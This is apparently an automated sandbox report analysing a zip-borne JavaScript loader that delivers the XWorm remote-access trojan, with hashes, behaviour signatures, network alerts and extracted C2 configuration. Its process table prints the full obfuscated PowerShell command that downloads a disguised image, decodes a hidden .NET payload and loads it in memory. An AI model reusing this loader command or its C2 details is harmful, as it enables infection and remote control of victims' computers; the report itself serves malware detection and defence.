| File name: | E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.zip |
| Full analysis: | https://app.any.run/tasks/80d25162-af98-47fc-966f-b99768cb45bf |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 15, 2025, 19:26:19 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract, compression method=deflate |
| MD5: | 7D4B947C5286AAB18226E141A1D8BEFF |
| SHA1: | 8FBE113EAD9D46E7932AAB48202243BB1100E0A5 |
| SHA256: | F88DF84B84E4D27953A62ADFA03325B45CDE22A3D8254EC21AB4C77D51D6E3BB |
| SSDEEP: | 768:uw9jTAfkDltCL+ZmqjyeWGuPhKEFoowcGO+vEYfdeByUUA3TF:uIjTFlRjyeWlsEMO+cYfeyUUcx |
MALICIOUS
Creates internet connection object (SCRIPT)
- wscript.exe (PID: 6388)
Opens an HTTP connection (SCRIPT)
- wscript.exe (PID: 6388)
Sends HTTP request (SCRIPT)
- wscript.exe (PID: 6388)
Stego campaign has been detected
- powershell.exe (PID: 1144)
REVERSELOADER has been detected (SURICATA)
- powershell.exe (PID: 1144)
XWORM has been detected (YARA)
- aspnet_regbrowsers.exe (PID: 4628)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 1144)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 1144)
XWORM has been detected (SURICATA)
- aspnet_regbrowsers.exe (PID: 4628)
Connects to the CnC server
- aspnet_regbrowsers.exe (PID: 4628)
SUSPICIOUS
Script creates XML DOM node (SCRIPT)
- wscript.exe (PID: 6388)
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 3816)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 6388)
Probably download files using WebClient
- wscript.exe (PID: 6388)
The process executes JS scripts
- WinRAR.exe (PID: 3816)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 6388)
Found IP address in command line
- powershell.exe (PID: 1144)
Runs shell command (SCRIPT)
- wscript.exe (PID: 6388)
Potential Corporate Privacy Violation
- wscript.exe (PID: 6388)
Converts a string into array of characters (POWERSHELL)
- powershell.exe (PID: 1144)
Connects to the server without a host name
- powershell.exe (PID: 1144)
Contacting a server suspected of hosting an Exploit Kit
- powershell.exe (PID: 1144)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 1144)
Connects to unusual port
- aspnet_regbrowsers.exe (PID: 4628)
Contacting a server suspected of hosting an CnC
- aspnet_regbrowsers.exe (PID: 4628)
INFO
Reads Microsoft Office registry keys
- WinRAR.exe (PID: 3816)
The process uses the downloaded file
- WinRAR.exe (PID: 3816)
- wscript.exe (PID: 6388)
Checks proxy server information
- wscript.exe (PID: 6388)
- powershell.exe (PID: 1144)
Self-termination (SCRIPT)
- wscript.exe (PID: 6388)
Disables trace logs
- powershell.exe (PID: 1144)
Gets data length (POWERSHELL)
- powershell.exe (PID: 1144)
Checks supported languages
- aspnet_regbrowsers.exe (PID: 4628)
Reads the computer name
- aspnet_regbrowsers.exe (PID: 4628)
Reads the machine GUID from the registry
- aspnet_regbrowsers.exe (PID: 4628)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(4628) aspnet_regbrowsers.exe
C285.31.47.24:1888
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop name15-01-2025
MutextlRBNCeyJJLJkXVL
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0009 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2025:01:15 08:55:52 |
| ZipCRC: | 0xdc9aa3c7 |
| ZipCompressedSize: | 38906 |
| ZipUncompressedSize: | 167228 |
| ZipFileName: | E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.js |
Total processes
134
Monitored processes
6
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1144 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.nohcacle/selif/42.74.13.58//:p##h';$restoredText = $originalText -replace '#', 't';$zILiCNmoLWklIciuZGfk = 'https://res.cloudinary.com/ducmwq0h0/image/upload/v1736949351/piwedbdcpnpjdclsccjt.jpg ';$mijRzvAWLKPNRLipIadl = New-Object System.Net.WebClient;$zmGGgZmkKleHZWZLAxIP = $mijRzvAWLKPNRLipIadl.DownloadData($zILiCNmoLWklIciuZGfk);$nUGfacLxNohtBULdGLlR = [System.Text.Encoding]::UTF8.GetString($zmGGgZmkKleHZWZLAxIP);$iBLkelcWLJNAcnCahxNc = '<<BASE64_START>>';$cWjofLKGcALfWLTccOWP = '<<BASE64_END>>';$WWKLWZRrNKlhPsbKLqnC = $nUGfacLxNohtBULdGLlR.IndexOf($iBLkelcWLJNAcnCahxNc);$GnkLctmzoakcsGLoWcPK = $nUGfacLxNohtBULdGLlR.IndexOf($cWjofLKGcALfWLTccOWP);$WWKLWZRrNKlhPsbKLqnC -ge 0 -and $GnkLctmzoakcsGLoWcPK -gt $WWKLWZRrNKlhPsbKLqnC;$WWKLWZRrNKlhPsbKLqnC += $iBLkelcWLJNAcnCahxNc.Length;$nBAhufLcxSNPiUfiWKNz = $GnkLctmzoakcsGLoWcPK - $WWKLWZRrNKlhPsbKLqnC;$BGCKZLLRmtNGWWAHWPeG = $nUGfacLxNohtBULdGLlR.Substring($WWKLWZRrNKlhPsbKLqnC, $nBAhufLcxSNPiUfiWKNz);$afRTRKpCgUmKzkePhWcL = -join ($BGCKZLLRmtNGWWAHWPeG.ToCharArray() | ForEach-Object { $_ })[-1..-($BGCKZLLRmtNGWWAHWPeG.Length)];$GBknWaLbikALKGkGPkPG = [System.Convert]::FromBase64String($afRTRKpCgUmKzkePhWcL);$qULKLdQqtKhNgtAPUIWL = [System.Reflection.Assembly]::Load($GBknWaLbikALKGkGPkPG);$RfLnOzWRGskNogCdkLcU = [dnlib.IO.Home].GetMethod('VAI');$RfLnOzWRGskNogCdkLcU.Invoke($null, @($restoredText, 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK', 'aspnet_regbrowsers', 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','1','nRiUWBKAWxPUkLbcaHoK','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3736 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3816 | "C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.zip | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 4596 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: aspnet_regbrowsers.exe Exit code: 4294967295 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 4628 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: aspnet_regbrowsers.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
XWorm(PID) Process(4628) aspnet_regbrowsers.exe C285.31.47.24:1888 Keys AES<123456789> Options Splitter<Xwormmm> Sleep time3 USB drop name15-01-2025 MutextlRBNCeyJJLJkXVL | |||||||||||||||
| 6388 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIb3816.1867\E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.js" | C:\Windows\System32\wscript.exe | WinRAR.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
Total events
8 597
Read events
8 571
Write events
26
Delete events
0
Modification events
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\preferences.zip | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\chromium_ext.zip | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.zip | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths |
| Operation: | write | Name: | name |
Value: 256 | |||
| (PID) Process: | (3816) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
Executable files
0
Suspicious files
4
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1144 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:224561FF77E80FDE63F9E77AB68EAD72 | SHA256:2CAD3B3F6FC5D58D5F75116AA7784145BC3B7283C5AEE428C8B5ACD008FF1726 | |||
| 6388 | wscript.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\DSUmSTW3[1].txt | text | |
MD5:45A0628316CFE339587B0D946502D6FB | SHA256:7683BF7471FBD19270CA331F092E370F696B18342002F4432284CCDC6AEB2ED5 | |||
| 6388 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 | binary | |
MD5:E192462F281446B5D1500D474FBACC4B | SHA256:F1BA9F1B63C447682EBF9DE956D0DA2A027B1B779ABEF9522D347D3479139A60 | |||
| 1144 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_w1zmsfth.tzf.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3816 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb3816.1867\E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.js | binary | |
MD5:00A4BA139E436FACB9861B2AC35024FB | SHA256:9AE6DE36BE82DD3F67DAB2F0406030F65E72461702AE41E097D75925F4D468EC | |||
| 1144 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qtzictsc.ocn.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6388 | wscript.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 | binary | |
MD5:F4B77CAF1B24E78A86A38B08FD62B75D | SHA256:1D3CFB775D3717D5ED602B2DE5B40792F95A9598788551368474681FF55E64E9 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
39
DNS requests
22
Threats
91
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1176 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | DE | binary | 471 b | whitelisted |
3700 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 973 b | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | NL | binary | 973 b | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | DE | binary | 1.01 Kb | whitelisted |
5064 | SearchApp.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | DE | binary | 312 b | whitelisted |
7052 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | NL | binary | 408 b | whitelisted |
6388 | wscript.exe | GET | 200 | 23.209.209.135:80 | http://x1.c.lencr.org/ | ID | binary | 734 b | whitelisted |
7052 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | NL | binary | 419 b | whitelisted |
6304 | backgroundTaskHost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | DE | binary | 471 b | whitelisted |
1144 | powershell.exe | GET | 200 | 85.31.47.24:80 | http://85.31.47.24/files/elcachon.txt | US | text | 48.0 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4712 | MoUsoCoreWorker.exe | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
3700 | svchost.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
5064 | SearchApp.exe | 2.23.227.208:443 | — | Ooredoo Q.S.C. | QA | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1176 | svchost.exe | 20.190.159.4:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5064 | SearchApp.exe | 2.21.65.154:443 | www.bing.com | Akamai International B.V. | NL | whitelisted |
1176 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
paste.ee |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2192 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
6388 | wscript.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
1144 | powershell.exe | Exploit Kit Activity Detected | ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound |
1144 | powershell.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 9 |
4628 | aspnet_regbrowsers.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
1144 | powershell.exe | Potentially Bad Traffic | PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound |
1144 | powershell.exe | A Network Trojan was detected | ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound |
84 ETPRO signatures available at the full report